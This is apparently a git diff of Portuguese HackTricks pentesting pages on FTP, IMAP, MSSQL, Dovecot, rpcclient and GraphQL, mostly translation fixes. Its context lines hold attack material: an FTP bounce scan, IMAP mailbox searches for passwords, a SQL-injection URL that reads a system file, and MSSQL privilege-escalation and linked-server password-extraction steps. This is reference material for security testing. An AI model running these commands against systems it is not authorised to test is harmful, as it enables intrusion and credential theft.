* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -52,7 +52,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
|
|||
```
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,7 +24,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
## Protocolo de Acesso a Mensagens da Internet
|
||||
|
||||
O **Protocolo de Acesso a Mensagens da Internet (IMAP)** é projetado com o objetivo de permitir que os usuários **acessam suas mensagens de e-mail de qualquer local**, principalmente através de uma conexão com a Internet. Em essência, os e-mails são **mantidos em um servidor** em vez de serem baixados e armazenados no dispositivo pessoal de um indivíduo. Isso significa que quando um e-mail é acessado ou lido, é feito **diretamente do servidor**. Essa capacidade permite a conveniência de verificar e-mails em **múltiplos dispositivos**, garantindo que nenhuma mensagem seja perdida, independentemente do dispositivo usado.
|
||||
O **Protocolo de Acesso a Mensagens da Internet (IMAP)** é projetado com o propósito de permitir aos usuários **acessar suas mensagens de e-mail de qualquer local**, principalmente através de uma conexão com a Internet. Em essência, os e-mails são **mantidos em um servidor** em vez de serem baixados e armazenados no dispositivo pessoal de um indivíduo. Isso significa que quando um e-mail é acessado ou lido, é feito **diretamente do servidor**. Essa capacidade permite a conveniência de verificar e-mails em **múltiplos dispositivos**, garantindo que nenhuma mensagem seja perdida, independentemente do dispositivo usado.
|
||||
|
||||
Por padrão, o protocolo IMAP funciona em duas portas:
|
||||
|
||||
|
@ -39,7 +39,7 @@ PORT STATE SERVICE REASON
|
|||
nc -nv <IP> 143
|
||||
openssl s_client -connect <IP>:993 -quiet
|
||||
```
|
||||
### NTLM Auth - Divulgação de informações
|
||||
### NTLM Auth - Divulgação de Informações
|
||||
|
||||
Se o servidor suporta autenticação NTLM (Windows) você pode obter informações sensíveis (versões):
|
||||
```
|
||||
|
@ -107,21 +107,23 @@ A1 LOGOUT
|
|||
```
|
||||
apt install evolution
|
||||
```
|
||||
![](<../.gitbook/assets/image (528).png>)
|
||||
|
||||
### CURL
|
||||
|
||||
A navegação básica é possível com o [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mas a documentação é escassa em detalhes, então é recomendado verificar a [fonte](https://github.com/curl/curl/blob/master/lib/imap.c) para obter detalhes precisos.
|
||||
A navegação básica é possível com [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mas a documentação é escassa em detalhes, então é recomendado verificar a [fonte](https://github.com/curl/curl/blob/master/lib/imap.c) para obter detalhes precisos.
|
||||
|
||||
1. Listando caixas de correio (comando imap `LIST "" "*")
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||
```
|
||||
2. Listando mensagens em uma caixa de correio (comando IMAP `SELECT INBOX` e depois `SEARCH ALL`)
|
||||
2. Listando mensagens em uma caixa de correio (comando imap `SELECT INBOX` e depois `SEARCH ALL`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||
```
|
||||
O resultado desta pesquisa é uma lista de índices de mensagens.
|
||||
|
||||
Também é possível fornecer termos de pesquisa mais complexos. Por exemplo, procurar por rascunhos com senha no corpo do e-mail:
|
||||
Também é possível fornecer termos de pesquisa mais complexos. Por exemplo, procurando por rascunhos com senha no corpo do e-mail:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
|
@ -154,9 +156,9 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -7,16 +7,16 @@
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -155,14 +155,14 @@ SELECT * FROM sysusers
|
|||
|
||||
1. **Securável:** Definido como os recursos gerenciados pelo SQL Server para controle de acesso. Estes são categorizados em:
|
||||
- **Servidor** – Exemplos incluem bancos de dados, logins, endpoints, grupos de disponibilidade e funções do servidor.
|
||||
- **Banco de Dados** – Exemplos abrangem funções de banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários.
|
||||
- **Banco de Dados** – Exemplos abrangem função do banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários.
|
||||
- **Esquema** – Inclui tabelas, visualizações, procedimentos, funções, sinônimos, etc.
|
||||
|
||||
2. **Permissão:** Associada aos securáveis do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis:
|
||||
- Nível do **Servidor** usando logins
|
||||
- Nível do **Banco de Dados** usando usuários
|
||||
|
||||
3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securável. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securáveis é exercido através da concessão ou negação de permissões ou incluindo logins e usuários em funções equipadas com direitos de acesso.
|
||||
3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securável. Principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securáveis é exercido através da concessão ou negação de permissões ou incluindo logins e usuários em funções equipadas com direitos de acesso.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -298,7 +298,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
|
|||
|
||||
O MSSQL pode permitir que você execute **scripts em Python e/ou R**. Esse código será executado por um **usuário diferente** do que está usando **xp\_cmdshell** para executar comandos.
|
||||
|
||||
Exemplo tentando executar um **'R'** _"Olá Mundo!"_ **que não funciona**:
|
||||
Exemplo tentando executar um **'R'** _"Hellow World!"_ **que não funciona**:
|
||||
|
||||
![](<../../.gitbook/assets/image (185) (1).png>)
|
||||
|
||||
|
@ -318,9 +318,9 @@ GO
|
|||
```
|
||||
### Ler Registro
|
||||
|
||||
O Microsoft SQL Server fornece **múltiplos procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
|
||||
O Microsoft SQL Server fornece **múltiplos procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Regular** | **Com Consciência de Instância** |
|
||||
| **Regular** | **Consciente da Instância** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||||
|
@ -341,7 +341,7 @@ Use master;
|
|||
EXEC sp_helprotect 'xp_regread';
|
||||
EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
Para **mais exemplos** confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
|
||||
### RCE com Função Definida pelo Usuário MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
|
@ -351,13 +351,14 @@ Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffie
|
|||
|
||||
### Outras formas de RCE
|
||||
|
||||
Existem outros métodos para obter execução de comandos, como adicionar [procedimentos armazenados estendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Trabalhos do SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
Existem outros métodos para obter execução de comandos, como adicionar [procedimentos armazenados estendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Jobs do SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
## Escalação de Privilégios MSSQL
|
||||
|
||||
## Escalonamento de Privilégios MSSQL
|
||||
|
||||
### De db\_owner para sysadmin
|
||||
|
||||
Se um **usuário regular** recebe a função **`db_owner`** sobre o **banco de dados de propriedade de um administrador** (como **`sa`**) e esse banco de dados está configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **escalação de privilégios** porque **procedimentos armazenados** criados lá podem **executar** como o proprietário (**administrador**).
|
||||
Se um **usuário regular** recebe a função **`db_owner`** sobre o **banco de dados de propriedade de um usuário admin** (como **`sa`**) e esse banco de dados está configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **escalada de privilégios** porque **procedimentos armazenados** criados ali podem **executar** como o proprietário (**admin**).
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -419,7 +420,7 @@ SELECT SYSTEM_USER
|
|||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Se você pode se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o usuário tem acesso a outros bancos de dados ou servidores vinculados.
|
||||
Se você pode se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o usuário tem acesso a outros **bancos de dados** ou servidores vinculados.
|
||||
|
||||
Note que uma vez que você é sysadmin, você pode se passar por qualquer outro usuário:
|
||||
{% endhint %}
|
||||
|
@ -446,12 +447,12 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## Extraindo senhas de Servidores Vinculados do SQL Server
|
||||
Um atacante pode extrair senhas de Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para obter uma posição mais forte no alvo.
|
||||
## Extraindo senhas dos Servidores Vinculados do SQL Server
|
||||
Um atacante pode extrair senhas dos Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para obter uma posição mais forte no alvo.
|
||||
O script para extrair e descriptografar as senhas armazenadas para os Servidores Vinculados pode ser encontrado [aqui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Alguros requisitos e configurações devem ser feitos para que esse exploit funcione.
|
||||
Primeiramente, você deve ter direitos de Administrador na máquina, ou a capacidade de gerenciar as Configurações do SQL Server.
|
||||
Alguns requisitos e configurações devem ser feitos para que esse exploit funcione.
|
||||
Primeiramente, você deve ter direitos de Administrador na máquina ou a capacidade de gerenciar as Configurações do SQL Server.
|
||||
|
||||
Após validar suas permissões, você precisa configurar três coisas, que são as seguintes:
|
||||
1. Habilitar o TCP/IP nas instâncias do SQL Server;
|
||||
|
@ -464,7 +465,7 @@ Além de ter um script em PowerShell para cada etapa da configuração, o reposi
|
|||
Para mais informações, consulte os seguintes links sobre esse ataque:
|
||||
[Descriptografando Senhas de Servidores de Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Resolvendo problemas com a Conexão de Administrador Dedicado do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Resolvendo problemas da Conexão de Administrador Dedicado do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Escalação Local de Privilégios
|
||||
|
||||
|
@ -494,13 +495,13 @@ Provavelmente você será capaz de **escalar para Administrador** seguindo uma d
|
|||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
## Comandos Automáticos do HackTricks
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -94,16 +94,16 @@ password: PA$$W0RD!Z
|
|||
De [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
|
||||
| **Configuração** | **Descrição** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Ativa todos os registros de depuração de autenticação. |
|
||||
| `auth_debug_passwords` | Esta configuração ajusta a verbosidade do registro, as senhas enviadas e o esquema são registrados. |
|
||||
| `auth_verbose` | Registra tentativas de autenticação malsucedidas e suas razões. |
|
||||
| `auth_verbose_passwords` | As senhas usadas para autenticação são registradas e também podem ser truncadas. |
|
||||
| `auth_anonymous_username` | Especifica o nome de usuário a ser usado ao fazer login com o mecanismo SASL ANÔNIMO. |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Habilita todos os registros de depuração de autenticação. |
|
||||
| `auth_debug_passwords` | Esta configuração ajusta a verbosidade do registro, as senhas enviadas e o esquema são registrados. |
|
||||
| `auth_verbose` | Registra tentativas de autenticação malsucedidas e suas razões. |
|
||||
| `auth_verbose_passwords` | As senhas usadas para autenticação são registradas e também podem ser truncadas. |
|
||||
| `auth_anonymous_username` | Especifica o nome de usuário a ser usado ao fazer login com o mecanismo SASL ANÔNIMO. |
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
### Visão geral dos Identificadores Relativos (RID) e Identificadores de Segurança (SID)
|
||||
|
||||
**Identificadores Relativos (RID)** e **Identificadores de Segurança (SID)** são componentes-chave nos sistemas operacionais Windows para identificar e gerenciar objetos, como usuários e grupos, dentro de um domínio de rede.
|
||||
**Identificadores Relativos (RID)** e **Identificadores de Segurança (SID)** são componentes-chave nos sistemas operacionais Windows para identificar e gerenciar de forma única objetos, como usuários e grupos, dentro de um domínio de rede.
|
||||
|
||||
- **SIDs** servem como identificadores únicos para domínios, garantindo que cada domínio seja distinguível.
|
||||
- **RIDs** são anexados aos SIDs para criar identificadores únicos para objetos dentro desses domínios. Essa combinação permite o rastreamento preciso e o gerenciamento de permissões de objetos e controles de acesso.
|
||||
|
@ -36,7 +36,7 @@ A utilidade **`rpcclient`** do Samba é utilizada para interagir com **pontos fi
|
|||
|
||||
#### Informações do Servidor
|
||||
|
||||
* Para obter **Informações do Servidor**: é usado o comando `srvinfo`.
|
||||
* Para obter as **Informações do Servidor**: é usado o comando `srvinfo`.
|
||||
|
||||
#### Enumeração de Usuários
|
||||
|
||||
|
@ -85,25 +85,25 @@ done
|
|||
|
||||
| **Comando** | **Interface** | **Descrição** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | Recupera informações do usuário |
|
||||
| querygroup | Recupera informações do grupo | |
|
||||
| querydominfo | Recupera informações do domínio | |
|
||||
| enumdomusers | Enumera usuários do domínio | |
|
||||
| enumdomgroups | Enumera grupos do domínio | |
|
||||
| createdomuser | Cria um usuário de domínio | |
|
||||
| deletedomuser | Exclui um usuário de domínio | |
|
||||
| lookupnames | LSARPC | Procura nomes de usuário para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Procura SIDs para nomes de usuário (ciclagem de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Adiciona direitos a uma conta de usuário | |
|
||||
| lsaremoveacctrights | Remove direitos de uma conta de usuário | |
|
||||
| dsroledominfo | LSARPC-DS | Obtém informações do domínio primário |
|
||||
| dsenumdomtrusts | Enumera domínios confiáveis dentro de um floresta AD | |
|
||||
| queryuser | SAMR | Recuperar informações do usuário |
|
||||
| querygroup | Recuperar informações do grupo | |
|
||||
| querydominfo | Recuperar informações do domínio | |
|
||||
| enumdomusers | Enumerar usuários do domínio | |
|
||||
| enumdomgroups | Enumerar grupos do domínio | |
|
||||
| createdomuser | Criar um usuário de domínio | |
|
||||
| deletedomuser | Excluir um usuário de domínio | |
|
||||
| lookupnames | LSARPC | Pesquisar nomes de usuário para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Pesquisar SIDs para nomes de usuário (ciclagem de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Adicionar direitos a uma conta de usuário | |
|
||||
| lsaremoveacctrights | Remover direitos de uma conta de usuário | |
|
||||
| dsroledominfo | LSARPC-DS | Obter informações do domínio primário |
|
||||
| dsenumdomtrusts | Enumerar domínios confiáveis dentro de um floresta AD | |
|
||||
|
||||
Para **entender** melhor como as ferramentas _**samrdump**_ **e** _**rpcdump**_ funcionam, você deve ler [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -114,7 +114,7 @@ Para **entender** melhor como as ferramentas _**samrdump**_ **e** _**rpcdump**_
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,19 +4,19 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Introdução
|
||||
|
||||
GraphQL é **destacado** como uma **alternativa eficiente** para API REST, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com REST, que frequentemente exige numerosas solicitações em endpoints variados para reunir dados, o GraphQL permite a obtenção de todas as informações necessárias por meio de uma **única solicitação**. Esse processo simplificado beneficia significativamente os desenvolvedores, diminuindo a complexidade de seus processos de busca de dados.
|
||||
GraphQL é **destacado** como uma **alternativa eficiente** às APIs REST, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com o REST, que frequentemente exige numerosas solicitações em endpoints variados para reunir dados, o GraphQL permite a obtenção de todas as informações necessárias por meio de uma **única solicitação**. Essa otimização beneficia significativamente os desenvolvedores, diminuindo a complexidade de seus processos de busca de dados.
|
||||
|
||||
## GraphQL e Segurança
|
||||
|
||||
|
@ -26,18 +26,18 @@ Com o surgimento de novas tecnologias, incluindo o GraphQL, novas vulnerabilidad
|
|||
|
||||
Para identificar instâncias de GraphQL expostas, é recomendável a inclusão de caminhos específicos em ataques de força bruta em diretórios. Esses caminhos são:
|
||||
|
||||
- `/graphql`
|
||||
- `/graphiql`
|
||||
- `/graphql.php`
|
||||
- `/graphql/console`
|
||||
- `/api`
|
||||
- `/api/graphql`
|
||||
- `/graphql/api`
|
||||
- `/graphql/graphql`
|
||||
* `/graphql`
|
||||
* `/graphiql`
|
||||
* `/graphql.php`
|
||||
* `/graphql/console`
|
||||
* `/api`
|
||||
* `/api/graphql`
|
||||
* `/graphql/api`
|
||||
* `/graphql/graphql`
|
||||
|
||||
Identificar instâncias de GraphQL abertas permite a análise de consultas suportadas. Isso é crucial para entender os dados acessíveis pelo endpoint. O sistema de introspecção do GraphQL facilita isso detalhando as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: [**GraphQL: Uma linguagem de consulta para APIs.**](https://graphql.org/learn/introspection/)
|
||||
Identificar instâncias de GraphQL abertas permite a análise de consultas suportadas. Isso é crucial para entender os dados acessíveis através do endpoint. O sistema de introspecção do GraphQL facilita isso detalhando as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: [**GraphQL: Uma linguagem de consulta para APIs.**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### Impressão Digital
|
||||
### Fingerprint
|
||||
|
||||
A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de detectar qual mecanismo GraphQL é usado em um servidor e então imprime algumas informações úteis para o auditor de segurança.
|
||||
|
||||
|
@ -49,7 +49,7 @@ query{__typename}
|
|||
```
|
||||
### Enumeração Básica
|
||||
|
||||
O GraphQL geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST**(json). Embora por motivos de segurança seja recomendado permitir apenas json para prevenir ataques CSRF.
|
||||
O GraphQL geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST**(json). Embora, por motivos de segurança, seja recomendado permitir apenas json para prevenir ataques CSRF.
|
||||
|
||||
#### Introspecção
|
||||
|
||||
|
@ -185,7 +185,7 @@ Se a introspecção estiver habilitada, você pode usar [**GraphQL Voyager**](ht
|
|||
|
||||
### Consultando
|
||||
|
||||
Agora que sabemos que tipo de informações estão salvas no banco de dados, vamos tentar **extrair alguns valores**.
|
||||
Agora que sabemos que tipo de informações estão armazenadas no banco de dados, vamos tentar **extrair alguns valores**.
|
||||
|
||||
